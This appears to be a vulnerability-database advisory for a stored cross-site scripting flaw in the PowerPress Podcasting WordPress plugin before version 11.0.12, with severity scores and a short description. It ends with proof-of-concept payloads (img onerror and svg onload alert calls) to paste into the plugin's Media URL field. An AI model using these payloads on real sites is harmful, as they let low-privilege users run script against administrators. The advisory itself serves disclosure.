PowerPress Podcasting < 11.0.12 - Contributor+ Stored XSS

2023-09-2500:00:00

emad

powerpress podcasting

stored xss

contributor+

media url

exploit

7.1 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.0%

JSON

Description The plugin does not sanitize and escape the media url field in posts, which could allow users with privileges as low as contributor to inject arbitrary web scripts that could target a site admin or superadmin.

Add the following payload to the Media URL field:
<img src=x onerror=alert(origin)> <svg onload=alert(origin)>